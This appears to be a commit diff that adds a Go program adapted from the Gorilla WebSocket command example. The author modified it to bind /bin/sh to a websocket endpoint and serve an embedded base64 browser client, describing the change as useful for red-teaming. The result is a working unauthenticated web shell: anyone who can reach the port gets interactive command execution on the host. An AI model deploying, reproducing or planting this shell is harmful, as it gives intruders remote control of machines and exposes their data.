added main script

main.go

@@ -0,0 +1,212 @@
+// Copyright 2015 The Gorilla WebSocket Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// modified 2018 by rossja <algorythm@gmail.com> to
+// 1. hard-code /bin/sh as the command to bind to the websocket
+// 2. support running the server on a user-specified port
+// 3. embed the html content as b64 encoded string rather than using
+//    an external file (arguably more useful for red-teaming)
+
+package main
+
+import (
+	"bufio"
+	"encoding/base64"
+	"flag"
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"os"
+	"os/exec"
+	"time"
+
+	"github.com/gorilla/websocket"
+)
+
+var (
+	addr    = flag.String("port", ":8080", "http service address")
+	cmdPath string
+)
+
+const (
+	// Time allowed to write a message to the peer.
+	writeWait = 10 * time.Second
+
+	// Maximum message size allowed from peer.
+	maxMessageSize = 8192
+
+	// Time allowed to read the next pong message from the peer.
+	pongWait = 60 * time.Second
+
+	// Send pings to peer with this period. Must be less than pongWait.
+	pingPeriod = (pongWait * 9) / 10
+
+	// Time to wait before force close on connection.
+	closeGracePeriod = 10 * time.Second
+)
+
+func pumpStdin(ws *websocket.Conn, w io.Writer) {
+	defer ws.Close()
+	ws.SetReadLimit(maxMessageSize)
+	ws.SetReadDeadline(time.Now().Add(pongWait))
+	ws.SetPongHandler(func(string) error { ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })
+	for {
+		_, message, err := ws.ReadMessage()
+		if err != nil {
+			break
+		}
+		message = append(message, '\n')
+		if _, err := w.Write(message); err != nil {
+			break
+		}
+	}
+}
+
+func pumpStdout(ws *websocket.Conn, r io.Reader, done chan struct{}) {
+	defer func() {
+	}()
+	s := bufio.NewScanner(r)
+	for s.Scan() {
+		ws.SetWriteDeadline(time.Now().Add(writeWait))
+		if err := ws.WriteMessage(websocket.TextMessage, s.Bytes()); err != nil {
+			ws.Close()
+			break
+		}
+	}
+	if s.Err() != nil {
+		log.Println("scan:", s.Err())
+	}
+	close(done)
+
+	ws.SetWriteDeadline(time.Now().Add(writeWait))
+	ws.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
+	time.Sleep(closeGracePeriod)
+	ws.Close()
+}
+
+func ping(ws *websocket.Conn, done chan struct{}) {
+	ticker := time.NewTicker(pingPeriod)
+	defer ticker.Stop()
+	for {
+		select {
+		case <-ticker.C:
+			if err := ws.WriteControl(websocket.PingMessage, []byte{}, time.Now().Add(writeWait)); err != nil {
+				log.Println("ping:", err)
+			}
+		case <-done:
+			return
+		}
+	}
+}
+
+func internalError(ws *websocket.Conn, msg string, err error) {
+	log.Println(msg, err)
+	ws.WriteMessage(websocket.TextMessage, []byte("Internal server error."))
+}
+
+var upgrader = websocket.Upgrader{}
+
+func serveWs(w http.ResponseWriter, r *http.Request) {
+	ws, err := upgrader.Upgrade(w, r, nil)
+	if err != nil {
+		log.Println("upgrade:", err)
+		return
+	}
+
+	defer ws.Close()
+
+	outr, outw, err := os.Pipe()
+	if err != nil {
+		internalError(ws, "stdout:", err)
+		return
+	}
+	defer outr.Close()
+	defer outw.Close()
+
+	inr, inw, err := os.Pipe()
+	if err != nil {
+		internalError(ws, "stdin:", err)
+		return
+	}
+	defer inr.Close()
+	defer inw.Close()
+
+	proc, err := os.StartProcess(cmdPath, flag.Args(), &os.ProcAttr{
+		Files: []*os.File{inr, outw, outw},
+	})
+	if err != nil {
+		internalError(ws, "start:", err)
+		return
+	}
+
+	inr.Close()
+	outw.Close()
+
+	stdoutDone := make(chan struct{})
+	go pumpStdout(ws, outr, stdoutDone)
+	go ping(ws, stdoutDone)
+
+	pumpStdin(ws, inw)
+
+	// Some commands will exit when stdin is closed.
+	inw.Close()
+
+	// Other commands need a bonk on the head.
+	if err := proc.Signal(os.Interrupt); err != nil {
+		log.Println("inter:", err)
+	}
+
+	select {
+	case <-stdoutDone:
+	case <-time.After(time.Second):
+		// A bigger bonk on the head.
+		if err := proc.Signal(os.Kill); err != nil {
+			log.Println("term:", err)
+		}
+		<-stdoutDone
+	}
+
+	if _, err := proc.Wait(); err != nil {
+		log.Println("wait:", err)
+	}
+}
+
+func serveHome(w http.ResponseWriter, r *http.Request) {
+	w.Header().Set("Content-Type", "text/html")
+
+	// set the base64 encoded html content
+	const b64data = "PCFET0NUWVBFIGh0bWw+PGh0bWwgbGFuZz0iZW4iPjxoZWFkPjx0aXRsZT5Db21tYW5kIEV4YW1wbGU8L3RpdGxlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij53aW5kb3cub25sb2FkPWZ1bmN0aW9uKCl7dmFyIGUsbj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibXNnIiksdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9nIik7ZnVuY3Rpb24gbyhlKXt2YXIgbj10LnNjcm9sbFRvcD50LnNjcm9sbEhlaWdodC10LmNsaWVudEhlaWdodC0xO3QuYXBwZW5kQ2hpbGQoZSksbiYmKHQuc2Nyb2xsVG9wPXQuc2Nyb2xsSGVpZ2h0LXQuY2xpZW50SGVpZ2h0KX1pZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZm9ybSIpLm9uc3VibWl0PWZ1bmN0aW9uKCl7cmV0dXJuISFlJiYoISFuLnZhbHVlJiYoZS5zZW5kKG4udmFsdWUpLG4udmFsdWU9IiIsITEpKX0sd2luZG93LldlYlNvY2tldCkoZT1uZXcgV2ViU29ja2V0KCJ3czovLyIrZG9jdW1lbnQubG9jYXRpb24uaG9zdCsiL3dzIikpLm9uY2xvc2U9ZnVuY3Rpb24oZSl7dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7bi5pbm5lckhUTUw9IjxiPkNvbm5lY3Rpb24gY2xvc2VkLjwvYj4iLG8obil9LGUub25tZXNzYWdlPWZ1bmN0aW9uKGUpe2Zvcih2YXIgbj1lLmRhdGEuc3BsaXQoIlxuIiksdD0wO3Q8bi5sZW5ndGg7dCsrKXt2YXIgYz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtjLmlubmVyVGV4dD1uW3RdLG8oYyl9fTtlbHNle3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2MuaW5uZXJIVE1MPSI8Yj5Zb3VyIGJyb3dzZXIgZG9lcyBub3Qgc3VwcG9ydCBXZWJTb2NrZXRzLjwvYj4iLG8oYyl9fTs8L3NjcmlwdD48c3R5bGUgdHlwZT0idGV4dC9jc3MiPiNmb3JtLCNsb2d7cG9zaXRpb246YWJzb2x1dGV9I2Zvcm0sYm9keXttYXJnaW46MDt3aWR0aDoxMDAlO292ZXJmbG93OmhpZGRlbn0jZm9ybSxib2R5LGh0bWx7b3ZlcmZsb3c6aGlkZGVufWJvZHl7cGFkZGluZzowO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6Z3JheX0jbG9ne2JhY2tncm91bmQ6I2ZmZjttYXJnaW46MDtwYWRkaW5nOi41ZW07dG9wOi41ZW07bGVmdDouNWVtO3JpZ2h0Oi41ZW07Ym90dG9tOjNlbTtvdmVyZmxvdzphdXRvfSNsb2cgcHJle21hcmdpbjowfSNmb3Jte3BhZGRpbmc6MCAuNWVtO2JvdHRvbToxZW07bGVmdDowfTwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYgaWQ9ImxvZyI+PC9kaXY+PGZvcm0gaWQ9ImZvcm0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIiAvPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibXNnIiBzaXplPSI2NCIvPjwvZm9ybT48L2JvZHk+PC9odG1sPg=="
+
+	if r.URL.Path != "/" {
+		http.Error(w, "Not found", http.StatusNotFound)
+		return
+	}
+	if r.Method != "GET" {
+		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
+		return
+	}
+	// serve the b64 encoded data
+	body, err := base64.StdEncoding.DecodeString(b64data)
+	if err != nil {
+		fmt.Println("error:", err)
+		return
+	}
+	fmt.Fprintf(w, "%s", body)
+}
+
+func main() {
+	flag.Parse()
+	if len(flag.Args()) < 1 {
+		log.Fatal("must specify the port to listen on")
+	}
+	var err error
+	cmdPath, err = exec.LookPath("/bin/sh")
+	if err != nil {
+		log.Fatal(err)
+	}
+	http.HandleFunc("/", serveHome)
+	http.HandleFunc("/ws", serveWs)
+	log.Fatal(http.ListenAndServe(*addr, nil))
+}